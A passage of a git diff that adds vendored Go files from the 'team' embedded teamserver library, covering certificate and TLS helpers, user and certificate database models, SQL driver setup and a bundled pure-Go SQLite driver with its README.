log.DirPerm) + if err != nil { + c.log.Fatalf("Failed to create cert dir: %s", err) + } + + return certDir +} + +func (c *Manager) pemBlockForKey(priv interface{}) *pem.Block { + switch key := priv.(type) { + case *rsa.PrivateKey: + data := x509.MarshalPKCS1PrivateKey(key) + return &pem.Block{Type: "RSA PRIVATE KEY", Bytes: data} + case *ecdsa.PrivateKey: + data, err := x509.MarshalECPrivateKey(key) + if err != nil { + c.log.Fatalf("Unable to marshal ECDSA private key: %v", err) + } + + return &pem.Block{Type: "EC PRIVATE KEY", Bytes: data} + default: + return nil + } +} + +func publicKey(priv interface{}) interface{} { + switch k := priv.(type) { + case *rsa.PrivateKey: + return &k.PublicKey + case *ecdsa.PrivateKey: + return &k.PublicKey + default: + return nil + } +} + +func randomInt(max int) int { + intLen := 4 + buf := make([]byte, intLen) + rand.Read(buf) + i := binary.LittleEndian.Uint32(buf) + + return int(i) % max +} + +func randomValidFor() time.Duration { + validFor := validForYears * (daysInYear * hoursInDay * time.Hour) + + switch insecureRand.Intn(2) { + case 0: + validFor = (validForYears - 1) * (daysInYear * hoursInDay * time.Hour) + case 1: + validFor = validForYears * (daysInYear * hoursInDay * time.Hour) + } + + return validFor +} + +func rsaKeySize() int { + rsaKeySizes := []int{4096, 2048} + return rsaKeySizes[randomInt(len(rsaKeySizes))] +} diff --git a/vendor/github.com/reeflective/team/internal/certs/tls.go b/vendor/github.com/reeflective/team/internal/certs/tls.go new file mode 100644 index 0000000000..eb403be1ca --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/certs/tls.go @@ -0,0 +1,87 @@ +package certs + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "crypto/x509" + "fmt" + "log" + "os" + + teamlog "github.com/reeflective/team/internal/log" +) + +const ( + // Should be 31415, but... go to hell with your endless limits. + DefaultPort = 31416 +) + +// OpenTLSKeyLogFile returns an open file to the TLS keys log file, +// if the environment variable SSLKEYLOGFILE is defined. +func (c *Manager) OpenTLSKeyLogFile() *os.File { + keyFilePath, present := os.LookupEnv("SSLKEYLOGFILE") + if present { + keyFile, err := os.OpenFile(keyFilePath, teamlog.FileWriteOpenMode, teamlog.FileReadPerm) + if err != nil { + c.log.Errorf("Failed to open TLS key file %v", err) + return nil + } + + c.log.Warnf("NOTICE: TLS Keys logged to '%s'\n", keyFilePath) + + return keyFile + } + + return nil +} + +// RootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so +// we have to disable all of the certificate validation and re-implement everything. +// https://github.com/golang/go/issues/21971 +func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error { + roots := x509.NewCertPool() + + ok := roots.AppendCertsFromPEM([]byte(caCertificate)) + if !ok { + fmt.Errorf("Failed to parse root certificate") + } + + cert, err := x509.ParseCertificate(rawCerts[0]) // We should only get one cert + if err != nil { + log.Printf("Failed to parse certificate: " + err.Error()) + return err + } + + // Basically we only care if the certificate was signed by our authority + // Go selects sensible defaults for time and EKU, basically we're only + // skipping the hostname check, I think? + options := x509.VerifyOptions{ + Roots: roots, + } + + if options.Roots == nil { + return fmt.Errorf("Certificate root is nil") + } + + if _, err := cert.Verify(options); err != nil { + return fmt.Errorf("Failed to verify certificate: " + err.Error()) + } + + return nil +} diff --git a/vendor/github.com/reeflective/team/internal/certs/users.go b/vendor/github.com/reeflective/team/internal/certs/users.go new file mode 100644 index 0000000000..c28dac693a --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/certs/users.go @@ -0,0 +1,100 @@ +package certs + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "crypto/x509" + "encoding/pem" + "fmt" + + "github.com/reeflective/team/internal/db" +) + +const ( + // userCA - Directory containing user certificates. + userCA = "user" + + clientNamespace = "client" // User clients + serverNamespace = "server" // User servers + userCertHostname = "teamusers" // Hostname used on certificate +) + +// UserClientGenerateCertificate - Generate a certificate signed with a given CA. +func (c *Manager) UserClientGenerateCertificate(user string) ([]byte, []byte, error) { + cert, key := c.GenerateECCCertificate(userCA, user, false, true) + err := c.saveCertificate(userCA, ECCKey, fmt.Sprintf("%s.%s", clientNamespace, user), cert, key) + + return cert, key, err +} + +// UserClientGetCertificate - Helper function to fetch a client cert. +func (c *Manager) UserClientGetCertificate(user string) ([]byte, []byte, error) { + return c.GetECCCertificate(userCA, fmt.Sprintf("%s.%s", clientNamespace, user)) +} + +// UserClientRemoveCertificate - Helper function to remove a client cert. +func (c *Manager) UserClientRemoveCertificate(user string) error { + return c.RemoveCertificate(userCA, ECCKey, fmt.Sprintf("%s.%s", clientNamespace, user)) +} + +// UserServerGetCertificate - Helper function to fetch a server cert. +func (c *Manager) UserServerGetCertificate() ([]byte, []byte, error) { + return c.GetECCCertificate(userCA, fmt.Sprintf("%s.%s", serverNamespace, userCertHostname)) +} + +// UserServerGenerateCertificate - Generate a certificate signed with a given CA. +func (c *Manager) UserServerGenerateCertificate() ([]byte, []byte, error) { + cert, key := c.GenerateECCCertificate(userCA, userCertHostname, false, false) + err := c.saveCertificate(userCA, ECCKey, fmt.Sprintf("%s.%s", serverNamespace, userCertHostname), cert, key) + + return cert, key, err +} + +// UserClientListCertificates - Get all client certificates. +func (c *Manager) UserClientListCertificates() []*x509.Certificate { + userCerts := []*db.Certificate{} + + result := c.db.Where(&db.Certificate{CAType: userCA}).Find(&userCerts) + if result.Error != nil { + c.log.Error(result.Error) + return []*x509.Certificate{} + } + + c.log.Infof("Found %d user certs ...", len(userCerts)) + + certs := []*x509.Certificate{} + + for _, user := range userCerts { + block, _ := pem.Decode([]byte(user.CertificatePEM)) + if block == nil { + c.log.Warn("failed to parse certificate PEM") + continue + } + + cert, err := x509.ParseCertificate(block.Bytes) + if err != nil { + c.log.Warnf("failed to parse x.509 certificate %v", err) + continue + } + + certs = append(certs, cert) + } + + return certs +} diff --git a/vendor/github.com/reeflective/team/internal/command/command.go b/vendor/github.com/reeflective/team/internal/command/command.go new file mode 100644 index 0000000000..e763f8b0b1 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/command/command.go @@ -0,0 +1,108 @@ +package command + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/jedib0t/go-pretty/v6/table" + "github.com/jedib0t/go-pretty/v6/text" + "github.com/spf13/cobra" +) + +type ( + CobraRunnerE func(*cobra.Command, []string) error + CobraRunner func(*cobra.Command, []string) +) + +const ( + ClientConfigExt = "teamclient.cfg" // Client remote server config file extension. + ServerConfigExt = "teamserver.json" // Server backend config file extension. +) + +const ( + TeamServerGroup = "teamserver control" // TeamServerGroup is the group of all server/client control commands. + UserManagementGroup = "user management" // UserManagementGroup is the group to manage teamserver users. +) + +// Colors / effects. +const ( + // ANSI Colors. + Normal = "\033[0m" + Black = "\033[30m" + Red = "\033[31m" + Green = "\033[32m" + Orange = "\033[33m" + Blue = "\033[34m" + Purple = "\033[35m" + Cyan = "\033[36m" + Gray = "\033[37m" + Bold = "\033[1m" + Clearln = "\r\x1b[2K" + UpN = "\033[%dA" + DownN = "\033[%dB" + Underline = "\033[4m" + + // info - Display colorful information. + Info = Cyan + "[*] " + Normal + // warn - warn a user. + Warn = Red + "[!] " + Normal + // debugl - Display debugl information. + Debugl = Purple + "[-] " + Normal +) + +// TableStyle is a default table style for users and listeners. +var TableStyle = table.Style{ + Name: "TeamServerDefault", + Box: table.BoxStyle{ + BottomLeft: " ", + BottomRight: " ", + BottomSeparator: " ", + Left: " ", + LeftSeparator: " ", + MiddleHorizontal: "=", + MiddleSeparator: " ", + MiddleVertical: " ", + PaddingLeft: " ", + PaddingRight: " ", + Right: " ", + RightSeparator: " ", + TopLeft: " ", + TopRight: " ", + TopSeparator: " ", + UnfinishedRow: "~~", + }, + Color: table.ColorOptions{ + IndexColumn: text.Colors{}, + Footer: text.Colors{}, + Header: text.Colors{}, + Row: text.Colors{}, + RowAlternate: text.Colors{}, + }, + Format: table.FormatOptions{ + Footer: text.FormatDefault, + Header: text.FormatTitle, + Row: text.FormatDefault, + }, + Options: table.Options{ + DrawBorder: false, + SeparateColumns: true, + SeparateFooter: false, + SeparateHeader: true, + SeparateRows: false, + }, +} diff --git a/vendor/github.com/reeflective/team/internal/db/certificates.go b/vendor/github.com/reeflective/team/internal/db/certificates.go new file mode 100644 index 0000000000..adb9a2721e --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/certificates.go @@ -0,0 +1,47 @@ +package db + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "time" + + "github.com/gofrs/uuid" + "gorm.io/gorm" +) + +// Certificate - Certificate database model. +type Certificate struct { + ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"` + CreatedAt time.Time `gorm:"->;<-:create;"` + CommonName string + CAType string + KeyType string + CertificatePEM string + PrivateKeyPEM string +} + +// BeforeCreate - GORM hook to automatically set values. +func (c *Certificate) BeforeCreate(tx *gorm.DB) (err error) { + c.ID, err = uuid.NewV4() + if err != nil { + return err + } + c.CreatedAt = time.Now() + return nil +} diff --git a/vendor/github.com/reeflective/team/internal/db/config.go b/vendor/github.com/reeflective/team/internal/db/config.go new file mode 100644 index 0000000000..6b95e61591 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/config.go @@ -0,0 +1,93 @@ +package db + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "net/url" +) + +const ( + // Sqlite - SQLite protocol. + Sqlite = "sqlite3" + // Postgres - Postgresql protocol. + Postgres = "postgresql" + // MySQL - MySQL protocol. + MySQL = "mysql" +) + +// Config - Server database configuration. +type Config struct { + Dialect string `json:"dialect"` + Database string `json:"database"` + Username string `json:"username"` + Password string `json:"password"` + Host string `json:"host"` + Port uint16 `json:"port"` + + Params map[string]string `json:"params"` + + MaxIdleConns int `json:"max_idle_conns"` + MaxOpenConns int `json:"max_open_conns"` + + LogLevel string `json:"log_level"` +} + +// DSN - Get the db connections string +// https://github.com/go-sql-driver/mysql#examples +func (c *Config) DSN() (string, error) { + switch c.Dialect { + case Sqlite: + filePath := c.Database + params := encodeParams(c.Params) + + return fmt.Sprintf("file:%s?%s", filePath, params), nil + + case MySQL: + user := url.QueryEscape(c.Username) + password := url.QueryEscape(c.Password) + db := url.QueryEscape(c.Database) + host := fmt.Sprintf("%s:%d", url.QueryEscape(c.Host), c.Port) + params := encodeParams(c.Params) + + return fmt.Sprintf("%s:%s@tcp(%s)/%s?%s", user, password, host, db, params), nil + + case Postgres: + user := url.QueryEscape(c.Username) + password := url.QueryEscape(c.Password) + db := url.QueryEscape(c.Database) + host := url.QueryEscape(c.Host) + port := c.Port + params := encodeParams(c.Params) + + return fmt.Sprintf("host=%s port=%d user=%s password=%s dbname=%s %s", host, port, user, password, db, params), nil + + default: + return "", ErrUnsupportedDialect + } +} + +func encodeParams(rawParams map[string]string) string { + params := url.Values{} + for key, value := range rawParams { + params.Add(key, value) + } + + return params.Encode() +} diff --git a/vendor/github.com/reeflective/team/internal/db/sql-cgo.go b/vendor/github.com/reeflective/team/internal/db/sql-cgo.go new file mode 100644 index 0000000000..aaedce9e39 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/sql-cgo.go @@ -0,0 +1,35 @@ +//go:build cgo_sqlite + +package db + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + _ "github.com/mattn/go-sqlite3" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + "gorm.io/gorm/logger" +) + +func sqliteClient(dsn string, log logger.Interface) (*gorm.DB, error) { + return gorm.Open(sqlite.Open(dsn), &gorm.Config{ + PrepareStmt: true, + Logger: log, + }) +} diff --git a/vendor/github.com/reeflective/team/internal/db/sql-go.go b/vendor/github.com/reeflective/team/internal/db/sql-go.go new file mode 100644 index 0000000000..5b35246b4c --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/sql-go.go @@ -0,0 +1,34 @@ +//go:build !(wasm_sqlite || cgo_sqlite) + +package db + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + gosqlite "github.com/glebarez/sqlite" + "gorm.io/gorm" + "gorm.io/gorm/logger" +) + +func sqliteClient(dsn string, log logger.Interface) (*gorm.DB, error) { + return gorm.Open(gosqlite.Open(dsn), &gorm.Config{ + PrepareStmt: true, + Logger: log, + }) +} diff --git a/vendor/github.com/reeflective/team/internal/db/sql-wasm.go b/vendor/github.com/reeflective/team/internal/db/sql-wasm.go new file mode 100644 index 0000000000..558d642d13 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/sql-wasm.go @@ -0,0 +1,38 @@ +//go:build wasm_sqlite + +package db + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + _ "github.com/ncruces/go-sqlite3" + _ "github.com/ncruces/go-sqlite3/driver" + _ "github.com/ncruces/go-sqlite3/embed" + "gorm.io/gorm" + "gorm.io/gorm/logger" + + "github.com/reeflective/team/internal/db/wasmsqlite" +) + +func sqliteClient(dsn string, log logger.Interface) (*gorm.DB, error) { + return gorm.Open(wasmsqlite.Open(dsn), &gorm.Config{ + PrepareStmt: true, + Logger: log, + }) +} diff --git a/vendor/github.com/reeflective/team/internal/db/sql.go b/vendor/github.com/reeflective/team/internal/db/sql.go new file mode 100644 index 0000000000..27f589d5a5 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/sql.go @@ -0,0 +1,126 @@ +package db + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "errors" + "fmt" + "time" + + "github.com/reeflective/team/internal/log" + "github.com/sirupsen/logrus" + "gorm.io/driver/mysql" + "gorm.io/driver/postgres" + "gorm.io/gorm" + "gorm.io/gorm/logger" +) + +const ( + SQLiteInMemoryHost = ":memory:" +) + +var ( + // ErrRecordNotFound - Record not found error. + ErrRecordNotFound = gorm.ErrRecordNotFound + + // ErrUnsupportedDialect - An invalid dialect was specified. + ErrUnsupportedDialect = errors.New("Unknown/unsupported DB Dialect") +) + +// NewClient initializes a database client connection to a backend specified in config. +func NewClient(dbConfig *Config, dbLogger *logrus.Entry) (*gorm.DB, error) { + var dbClient *gorm.DB + + dsn, err := dbConfig.DSN() + if err != nil { + return nil, fmt.Errorf("Failed to marshal database DSN: %w", err) + } + + // Logging middleware (queries) + dbLog := log.NewDatabase(dbLogger, dbConfig.LogLevel) + + switch dbConfig.Dialect { + case Sqlite: + dbLogger.Infof("Connecting to SQLite database %s", dsn) + + dbClient, err = sqliteClient(dsn, dbLog) + if err != nil { + return nil, fmt.Errorf("Database connection failed: %w", err) + } + + case Postgres: + dbLogger.Infof("Connecting to PostgreSQL database %s", dsn) + + dbClient, err = postgresClient(dsn, dbLog) + if err != nil { + return nil, fmt.Errorf("Database connection failed: %w", err) + } + + case MySQL: + dbLogger.Infof("Connecting to MySQL database %s", dsn) + + dbClient, err = mySQLClient(dsn, dbLog) + if err != nil { + return nil, fmt.Errorf("Database connection failed: %w", err) + } + default: + return nil, fmt.Errorf("%w: '%s'", ErrUnsupportedDialect, dbConfig.Dialect) + } + + err = dbClient.AutoMigrate( + &Certificate{}, + &User{}, + ) + if err != nil { + dbLogger.Error(err) + } + + // Get generic database object sql.DB to use its functions + sqlDB, err := dbClient.DB() + if err != nil { + dbLogger.Error(err) + } + + // SetMaxIdleConns sets the maximum number of connections in the idle connection pool. + sqlDB.SetMaxIdleConns(dbConfig.MaxIdleConns) + + // SetMaxOpenConns sets the maximum number of open connections to the database. + sqlDB.SetMaxOpenConns(dbConfig.MaxOpenConns) + + // SetConnMaxLifetime sets the maximum amount of time a connection may be reused. + sqlDB.SetConnMaxLifetime(time.Hour) + + return dbClient.Session(&gorm.Session{ + FullSaveAssociations: true, + }), nil +} + +func postgresClient(dsn string, log logger.Interface) (*gorm.DB, error) { + return gorm.Open(postgres.Open(dsn), &gorm.Config{ + PrepareStmt: true, + Logger: log, + }) +} + +func mySQLClient(dsn string, log logger.Interface) (*gorm.DB, error) { + return gorm.Open(mysql.Open(dsn), &gorm.Config{ + PrepareStmt: true, + Logger: log, + }) +} diff --git a/vendor/github.com/reeflective/team/internal/db/user.go b/vendor/github.com/reeflective/team/internal/db/user.go new file mode 100644 index 0000000000..de220b7b75 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/user.go @@ -0,0 +1,47 @@ +package db + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "time" + + "github.com/gofrs/uuid" + "gorm.io/gorm" +) + +// User - A teamserver user. +type User struct { + ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"` + CreatedAt time.Time `gorm:"->;<-:create;"` + LastSeen time.Time + Name string + Token string `gorm:"uniqueIndex"` +} + +// BeforeCreate - GORM hook. +func (o *User) BeforeCreate(tx *gorm.DB) (err error) { + o.ID, err = uuid.NewV4() + if err != nil { + return err + } + + o.CreatedAt = time.Now() + + return nil +} diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/License b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/License new file mode 100644 index 0000000000..037e1653e6 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/License @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2013-NOW Jinzhu + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/README.md b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/README.md new file mode 100644 index 0000000000..7ffa285949 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/README.md @@ -0,0 +1,56 @@ +![badge](https://img.shields.io/endpoint?url=https://gist.githubusercontent.com/glebarez/fb4d23f63d866b3e1e58b26d2f5ed01f/raw/badge-gorm-tests.json) +![badge](https://img.shields.io/endpoint?url=https://gist.githubusercontent.com/glebarez/fb4d23f63d866b3e1e58b26d2f5ed01f/raw/badge-sqlite-version.json) +
    [![Hits](https://hits.seeyoufarm.com/api/count/incr/badge.svg?url=https%3A%2F%2Fgithub.com%2Fglebarez%2Fsqlite&count_bg=%2379C83D&title_bg=%23555555&icon=baidu.svg&icon_color=%23E7E7E7&title=hits&edge_flat=false)](https://hits.seeyoufarm.com) +# Pure-Go SQLite driver for GORM +Pure-go (without cgo) implementation of SQLite driver for [GORM](https://gorm.io/)

    +This driver has SQLite embedded, you don't need to install one separately. + +# Usage + +```go +import ( + "github.com/glebarez/sqlite" + "gorm.io/gorm" +) + +db, err := gorm.Open(sqlite.Open("sqlite.db"), &gorm.Config{}) +``` + +### In-memory DB example +```go +db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) +``` + +### Foreign-key constraint activation +Foreign-key constraint is disabled by default in SQLite. To activate it, use connection URL parameter: +```go +db, err := gorm.Open(sqlite.Open(":memory:?_pragma=foreign_keys(1)"), &gorm.Config{}) +``` +More info: [https://www.sqlite.org/foreignkeys.html](https://www.sqlite.org/foreignkeys.html) + +# FAQ +## How is this better than standard GORM SQLite driver? +The [standard GORM driver for SQLite](https://github.com/go-gorm/sqlite) has one major drawback: it is based on a [Go-bindings of SQLite C-source](https://github.com/mattn/go-sqlite3) (this is called [cgo](https://go.dev/blog/cgo)). This fact imposes following restrictions on Go developers: +- to build and run your code, you will need a C compiler installed on a machine +- SQLite has many features that need to be enabled at compile time (e.g. [json support](https://www.sqlite.org/json1.html)). If you plan to use those, you will have to include proper build tags for every ```go``` command to work properly (```go run```, ```go test```, etc.). +- Because of C-compiler requirement, you can't build your Go code inside tiny stripped containers like (golang-alpine) +- Building on GCP is not possible because Google Cloud Platform does not allow gcc to be executed. + +**Instead**, this driver is based on pure-Go implementation of SQLite (https://gitlab.com/cznic/sqlite), which is basically an original SQLite C-source AST, translated into Go! So, you may be sure you're using the original SQLite implementation under the hood. + +## Is this tested good ? +Yes, The CI pipeline of this driver employs [whole test base](https://github.com/go-gorm/gorm/tree/master/tests) of GORM, which includes more than **12k** tests (see badge on the page-top). Testing is run against latest major releases of Go: +- 1.18 +- 1.19 + +In following environments: +- Linux +- Windows +- MacOS + +## Is it fast? +Well, it's slower than CGo implementation, but not terribly. See the [bechmark of underlying pure-Go driver vs CGo implementation](https://github.com/glebarez/go-sqlite/tree/master/benchmark). + +## Included features +- JSON1 (https://www.sqlite.org/json1.html) +- Math functions (https://www.sqlite.org/lang_mathfunc.html) diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/ddlmod.go b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/ddlmod.go new file mode 100644 index 0000000000..84260800cb --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/ddlmod.go @@ -0,0 +1,234 @@ +package wasmsqlite + +import ( + "database/sql" + "errors" + "fmt" + "regexp" + "strconv" + "strings" + + "gorm.io/gorm/migrator" +) + +var ( + sqliteSeparator = "`|\"|'|\t" + indexRegexp = regexp.MustCompile(fmt.Sprintf("(?is)CREATE(?: UNIQUE)? INDEX [%v]?[\\w\\d-]+[%v]? ON (.*)$", sqliteSeparator, sqliteSeparator)) + tableRegexp = regexp.MustCompile(fmt.Sprintf("(?is)(CREATE TABLE [%v]?[\\w\\d-]+[%v]?)(?: \\((.*)\\))?", sqliteSeparator, sqliteSeparator)) + separatorRegexp = regexp.MustCompile(fmt.Sprintf("[%v]", sqliteSeparator)) + columnsRegexp = regexp.MustCompile(fmt.Sprintf("\\([%v]?([\\w\\d]+)[%v]?(?:,[%v]?([\\w\\d]+)[%v]){0,}\\)", sqliteSeparator, sqliteSeparator, sqliteSeparator, sqliteSeparator)) + columnRegexp = regexp.MustCompile(fmt.Sprintf("^[%v]?([\\w\\d]+)[%v]?\\s+([\\w\\(\\)\\d]+)(.*)$", sqliteSeparator, sqliteSeparator)) + defaultValueRegexp = regexp.MustCompile("(?i) DEFAULT \\(?(.+)?\\)?( |COLLATE|GENERATED|$)") + regRealDataType = regexp.MustCompile(`[^\d](\d+)[^\d]?`) +) + +type ddl struct { + head string + fields []string + columns []migrator.ColumnType +} + +func parseDDL(strs ...string) (*ddl, error) { + var result ddl + for _, str := range strs { + if sections := tableRegexp.FindStringSubmatch(str); len(sections) > 0 { + var ( + ddlBody = sections[2] + ddlBodyRunes = []rune(ddlBody) + bracketLevel int + quote rune + buf string + ) + ddlBodyRunesLen := len(ddlBodyRunes) + + result.head = sections[1] + + for idx := 0; idx < ddlBodyRunesLen; idx++ { + var ( + next rune = 0 + c = ddlBodyRunes[idx] + ) + if idx+1 < ddlBodyRunesLen { + next = ddlBodyRunes[idx+1] + } + + if sc := string(c); separatorRegexp.MatchString(sc) { + if c == next { + buf += sc // Skip escaped quote + idx++ + } else if quote > 0 { + quote = 0 + } else { + quote = c + } + } else if quote == 0 { + if c == '(' { + bracketLevel++ + } else if c == ')' { + bracketLevel-- + } else if bracketLevel == 0 { + if c == ',' { + result.fields = append(result.fields, strings.TrimSpace(buf)) + buf = "" + continue + } + } + } + + if bracketLevel < 0 { + return nil, errors.New("invalid DDL, unbalanced brackets") + } + + buf += string(c) + } + + if bracketLevel != 0 { + return nil, errors.New("invalid DDL, unbalanced brackets") + } + + if buf != "" { + result.fields = append(result.fields, strings.TrimSpace(buf)) + } + + for _, f := range result.fields { + fUpper := strings.ToUpper(f) + if strings.HasPrefix(fUpper, "CHECK") || + strings.HasPrefix(fUpper, "CONSTRAINT") { + continue + } + + if strings.HasPrefix(fUpper, "PRIMARY KEY") { + matches := columnsRegexp.FindStringSubmatch(f) + if len(matches) > 1 { + for _, name := range matches[1:] { + for idx, column := range result.columns { + if column.NameValue.String == name { + column.PrimaryKeyValue = sql.NullBool{Bool: true, Valid: true} + result.columns[idx] = column + break + } + } + } + } + } else if matches := columnRegexp.FindStringSubmatch(f); len(matches) > 0 { + columnType := migrator.ColumnType{ + NameValue: sql.NullString{String: matches[1], Valid: true}, + DataTypeValue: sql.NullString{String: matches[2], Valid: true}, + ColumnTypeValue: sql.NullString{String: matches[2], Valid: true}, + PrimaryKeyValue: sql.NullBool{Valid: true}, + UniqueValue: sql.NullBool{Valid: true}, + NullableValue: sql.NullBool{Valid: true}, + DefaultValueValue: sql.NullString{Valid: false}, + } + + matchUpper := strings.ToUpper(matches[3]) + if strings.Contains(matchUpper, " NOT NULL") { + columnType.NullableValue = sql.NullBool{Bool: false, Valid: true} + } else if strings.Contains(matchUpper, " NULL") { + columnType.NullableValue = sql.NullBool{Bool: true, Valid: true} + } + if strings.Contains(matchUpper, " UNIQUE") { + columnType.UniqueValue = sql.NullBool{Bool: true, Valid: true} + } + if strings.Contains(matchUpper, " PRIMARY") { + columnType.PrimaryKeyValue = sql.NullBool{Bool: true, Valid: true} + } + if defaultMatches := defaultValueRegexp.FindStringSubmatch(matches[3]); len(defaultMatches) > 1 